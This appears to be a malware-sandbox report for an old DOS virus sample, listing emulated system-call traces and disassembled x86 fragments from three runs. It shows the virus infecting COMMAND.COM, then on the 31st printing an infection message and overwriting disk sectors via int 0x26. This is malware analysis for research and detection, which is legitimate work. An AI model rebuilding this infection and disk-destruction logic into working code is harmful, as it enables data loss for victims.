Sample viewer

vx.netlux.org/Virus.DOS.VCC.519

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:35:11.674168477Z 26 PC: 12acb | Set disk transfer address
2018-12-17T22:35:11.675851766Z 71 PC: 12ada | Get current directory
2018-12-17T22:35:11.67993936Z 25 PC: 12ade | Get default drive
2018-12-17T22:35:11.681322437Z 14 PC: 12aec | Set default drive (Drive = 'C')
2018-12-17T22:35:11.682911125Z 78 PC: 12afe | Find first file
2018-12-17T22:35:11.689602393Z 47 PC: 12b44 | Get disk transfer address
2018-12-17T22:35:11.691139433Z 67 PC: 12b4e | Get or set file attributes
2018-12-17T22:35:12.493930426Z 61 PC: 12b53 | Open file (Filename = 'COMMAND.COM')
2018-12-17T22:35:12.50288384Z 63 PC: 12b5f | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:35:12.507062511Z 66 PC: 12b68 | Move file pointer
2018-12-17T22:35:12.508507172Z 44 PC: 12b7d | Get time 0x12b7d: mov byte ptr [di + 0x11b], dl
0x12b81: call 0x22a8d
0x12b84: mov ax, 0x4200
0x12b87: xor dx, dx
0x12b89: xor cx, cx
0x12b8b: int 0x21
0x12b8d: mov ah, 0x40
0x12b8f: lea dx, word ptr [di + 0x26b]
0x12b93: mov cx, 3
0x12b96: int 0x21
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: mov ah, 0x2a
0x12b9f: int 0x21
0x12ba1: cmp dl, 0x1f
0x12ba4: jne 0x12bbf
0x12ba6: mov ah, 9
0x12ba8: lea dx, word ptr [di + 0x2b1]
0x12bac: int 0x21
2018-12-17T22:35:12.512394458Z 64 PC: 12a9d | Write file or device (Write 519 bytes on handle 5)
2018-12-17T22:35:12.531364192Z 66 PC: 12b8d | Move file pointer
2018-12-17T22:35:12.534147665Z 64 PC: 12b98 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:35:12.538598096Z 62 PC: 12b9c | Close file
2018-12-17T22:35:12.549518943Z 79 PC: 12afe | Find next file
2018-12-17T22:35:12.554582324Z 59 PC: 12b13 | Change current directory
2018-12-17T22:35:12.559357901Z 59 PC: 12b1f | Change current directory
2018-12-17T22:35:12.562908742Z 14 PC: 12b27 | Set default drive (Drive = 'A')
2018-12-17T22:35:12.564833101Z 26 PC: 12b3e | Set disk transfer address
2018-12-17T22:35:12.566517013Z 42 PC: 12ba1 | Get date 0x12ba1: cmp dl, 0x1f
0x12ba4: jne 0x12bbf
0x12ba6: mov ah, 9
0x12ba8: lea dx, word ptr [di + 0x2b1]
0x12bac: int 0x21
0x12bae: mov al, 2
0x12bb0: mov cx, 1
0x12bb3: lea bx, word ptr [bp + 0x2b1]
0x12bb7: cdq
0x12bb8: int 0x26
0x12bba: inc dx
0x12bbb: jae 0x12bb8
0x12bbd: int 0x20
0x12bbf: mov bp, sp
0x12bc1: xor ax, ax
0x12bc3: mov bx, ax
0x12bc5: mov cx, ax
0x12bc7: mov dx, ax
0x12bc9: mov di, ax
0x12bcb: mov si, ax

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6328,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:08.281539703Z 26 PC: 12acb | Set disk transfer address
2018-12-25T11:59:08.282731923Z 71 PC: 12ada | Get current directory
2018-12-25T11:59:08.285277252Z 25 PC: 12ade | Get default drive
2018-12-25T11:59:08.28646165Z 14 PC: 12aec | Set default drive (Drive = 'C')
2018-12-25T11:59:08.287544418Z 78 PC: 12afe | Find first file
2018-12-25T11:59:08.292817717Z 47 PC: 12b44 | Get disk transfer address
2018-12-25T11:59:08.293576724Z 67 PC: 12b4e | Get or set file attributes
2018-12-25T11:59:09.295956006Z 61 PC: 12b53 | Open file (Filename = 'COMMAND.COM')
2018-12-25T11:59:09.30246553Z 63 PC: 12b5f | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:59:09.304832734Z 66 PC: 12b68 | Move file pointer
2018-12-25T11:59:09.306091767Z 44 PC: 12b7d | Get time 0x12b7d: mov byte ptr [di + 0x11b], dl
0x12b81: call 0x22a8d
0x12b84: mov ax, 0x4200
0x12b87: xor dx, dx
0x12b89: xor cx, cx
0x12b8b: int 0x21
0x12b8d: mov ah, 0x40
0x12b8f: lea dx, word ptr [di + 0x26b]
0x12b93: mov cx, 3
0x12b96: int 0x21
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: mov ah, 0x2a
0x12b9f: int 0x21
0x12ba1: cmp dl, 0x1f
0x12ba4: jne 0x12bbf
0x12ba6: mov ah, 9
0x12ba8: lea dx, word ptr [di + 0x2b1]
0x12bac: int 0x21
2018-12-25T11:59:09.309356425Z 64 PC: 12a9d | Write file or device (Write 519 bytes on handle 5)
2018-12-25T11:59:09.55710234Z 66 PC: 12b8d | Move file pointer
2018-12-25T11:59:09.558800846Z 64 PC: 12b98 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:59:09.562775778Z 62 PC: 12b9c | Close file
2018-12-25T11:59:09.569960267Z 79 PC: 12afe | Find next file (See above)
2018-12-25T11:59:09.572767972Z 59 PC: 12b13 | Change current directory
2018-12-25T11:59:09.577143281Z 59 PC: 12b1f | Change current directory
2018-12-25T11:59:09.579515972Z 14 PC: 12b27 | Set default drive (Drive = 'A')
2018-12-25T11:59:09.581108945Z 26 PC: 12b3e | Set disk transfer address
2018-12-25T11:59:09.583346066Z 42 PC: 12ba1 | Get date 0x12ba1: cmp dl, 0x1f
0x12ba4: jne 0x12bbf
0x12ba6: mov ah, 9
0x12ba8: lea dx, word ptr [di + 0x2b1]
0x12bac: int 0x21
0x12bae: mov al, 2
0x12bb0: mov cx, 1
0x12bb3: lea bx, word ptr [bp + 0x2b1]
0x12bb7: cdq
0x12bb8: int 0x26
0x12bba: inc dx
0x12bbb: jae 0x12bb8
0x12bbd: int 0x20
0x12bbf: mov bp, sp
0x12bc1: xor ax, ax
0x12bc3: mov bx, ax
0x12bc5: mov cx, ax
0x12bc7: mov dx, ax
0x12bc9: mov di, ax
0x12bcb: mov si, ax

{"DateBased":true,"Day":31,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":6328,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:59:09.074122492Z 26 PC: 12acb | Set disk transfer address
2018-12-25T11:59:09.075681107Z 71 PC: 12ada | Get current directory
2018-12-25T11:59:09.078649332Z 25 PC: 12ade | Get default drive
2018-12-25T11:59:09.079747361Z 14 PC: 12aec | Set default drive (Drive = 'C')
2018-12-25T11:59:09.081395202Z 78 PC: 12afe | Find first file
2018-12-25T11:59:09.086890735Z 47 PC: 12b44 | Get disk transfer address
2018-12-25T11:59:09.088028515Z 67 PC: 12b4e | Get or set file attributes
2018-12-25T11:59:09.557962588Z 61 PC: 12b53 | Open file (Filename = 'COMMAND.COM')
2018-12-25T11:59:09.57074998Z 63 PC: 12b5f | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:59:09.573480306Z 66 PC: 12b68 | Move file pointer
2018-12-25T11:59:09.575613372Z 44 PC: 12b7d | Get time 0x12b7d: mov byte ptr [di + 0x11b], dl
0x12b81: call 0x22a8d
0x12b84: mov ax, 0x4200
0x12b87: xor dx, dx
0x12b89: xor cx, cx
0x12b8b: int 0x21
0x12b8d: mov ah, 0x40
0x12b8f: lea dx, word ptr [di + 0x26b]
0x12b93: mov cx, 3
0x12b96: int 0x21
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: mov ah, 0x2a
0x12b9f: int 0x21
0x12ba1: cmp dl, 0x1f
0x12ba4: jne 0x12bbf
0x12ba6: mov ah, 9
0x12ba8: lea dx, word ptr [di + 0x2b1]
0x12bac: int 0x21
2018-12-25T11:59:09.5794704Z 64 PC: 12a9d | Write file or device (Write 519 bytes on handle 5)
2018-12-25T11:59:09.589209264Z 66 PC: 12b8d | Move file pointer
2018-12-25T11:59:09.590844361Z 64 PC: 12b98 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:59:09.594465038Z 62 PC: 12b9c | Close file
2018-12-25T11:59:09.602990931Z 79 PC: 12afe | Find next file (See above)
2018-12-25T11:59:09.606999705Z 59 PC: 12b13 | Change current directory
2018-12-25T11:59:09.616459359Z 59 PC: 12b1f | Change current directory
2018-12-25T11:59:09.61829625Z 14 PC: 12b27 | Set default drive (Drive = 'A')
2018-12-25T11:59:09.619602366Z 26 PC: 12b3e | Set disk transfer address
2018-12-25T11:59:09.634395458Z 42 PC: 12ba1 | Get date 0x12ba1: cmp dl, 0x1f
0x12ba4: jne 0x12bbf
0x12ba6: mov ah, 9
0x12ba8: lea dx, word ptr [di + 0x2b1]
0x12bac: int 0x21
0x12bae: mov al, 2
0x12bb0: mov cx, 1
0x12bb3: lea bx, word ptr [bp + 0x2b1]
0x12bb7: cdq
0x12bb8: int 0x26
0x12bba: inc dx
0x12bbb: jae 0x12bb8
0x12bbd: int 0x20
0x12bbf: mov bp, sp
0x12bc1: xor ax, ax
0x12bc3: mov bx, ax
0x12bc5: mov cx, ax
0x12bc7: mov dx, ax
0x12bc9: mov di, ax
0x12bcb: mov si, ax
2018-12-25T11:59:09.637338343Z 9 PC: 12bae | Display string (String= 'CelTic WarLord^DT YOUR COMPUTER HAS BEEN INFECTED WITH THE MAGIC MUSHROOM VIRUS')